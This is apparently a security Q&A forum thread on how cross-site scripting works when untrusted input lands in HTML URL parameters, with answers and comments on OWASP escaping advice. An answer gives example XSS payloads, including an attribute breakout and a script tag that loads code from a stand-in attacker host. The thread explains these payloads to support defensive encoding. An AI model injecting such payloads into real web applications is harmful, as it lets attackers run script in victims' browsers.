8

The OWASP XSS Prevention Worksheet recommends "URL escape before inserting untrusted data into HTML URL parameter values".

I don't understand how someone could break out of a URL context or inject a new subcontext to perform a XSS attack in a URL. As the browser interprets the URL, can certain characters be used to terminate the processing of the URL and force the browser to start processing a new injected URL? 

http://somesite.com/about<terminating character>javascript:;alert("hello")

Can someone please provide examples of how someone would perform an XSS injection in a URL?

Improve this question

2 Answers 2

Reset to default
4

The issue is if you accept user input as part of the url you output, as in this example given by OWASP:

<a href="http://www.somesite.com?test=[user input]">link</a >

The attacker does not have to break out of the URL context, but out of the string, eg by injecting:

foo" onload="evilJS();" foo="bar

or to break out of the a tag as well:

"><script src="evil.attacker/script.js"></script>
Improve this answer
5
  • 1
    That seems like an argument for html attribute escaping. What specific xss attacks can be performed on urls that can't be performed on normal html attributes? The cheat sheet treats url escaping and normal html attribute escaping separately.
    – bwroga
    Feb 23, 2015 at 14:55
  • @bwroga I think it's mainly mentioned separately for emphasis. The code example also mentions something like <a href="[user supplied]"> which is obviously bad as it allows the javascript protocol to be inserted (as you mentioned in your question (javascript:evil())) and has to be handled differently than other attributes. I don't think there is a way to switch to it once part of the URL is given. The only way to actually context switch that comes to mind is using an @, but that has nothing to do with xss.
    – tim
    Feb 23, 2015 at 15:53
  • @bwroga: You are right - HTML escaping is correct. However, as characters in query string values such as # and & need to be escaped, as the OWASP guide says Except for alphanumeric characters, escape all characters with ASCII values these will already be converted to %xx format and will not be dangerous as the attribute context cannot be escaped.
    – SilverlightFox
    Feb 24, 2015 at 9:11
  • @silverlightFox So you need to escape those characters so that an attacker cannot terminate the current key/value pair in the query string and start a new one?
    – bwroga
    Feb 24, 2015 at 19:11
  • @bwroga: Yes, that's correct.
    – SilverlightFox
    Feb 24, 2015 at 19:13
0

This is a classic attack called "reflected XSS", and can also be used for "Persistent XSS". If you do not encode parameters being sent to your web application, they may "reflected" back out into the html body and executed as javascript. As a rule, encode absolutely everything. All tags that could be used to produce XSS must be encoded before being shown in the application (such as the <> in this case.) What can be worse (in the persistent case), is when the XSS is saved into your application and recalled via database.

Many web frameworks do not do this by default.

Improve this answer
1
  • injections into URLs can also be as part of a persistent XSS attack (for example on a profile displaying a homepage of that user). A special case would be something like PHP_SELF, which is quite often used uncleaned and can then be used for reflected XSS
    – tim
    Feb 23, 2015 at 14:51

You must log in to answer this question.

Not the answer you're looking for? Browse other questions tagged .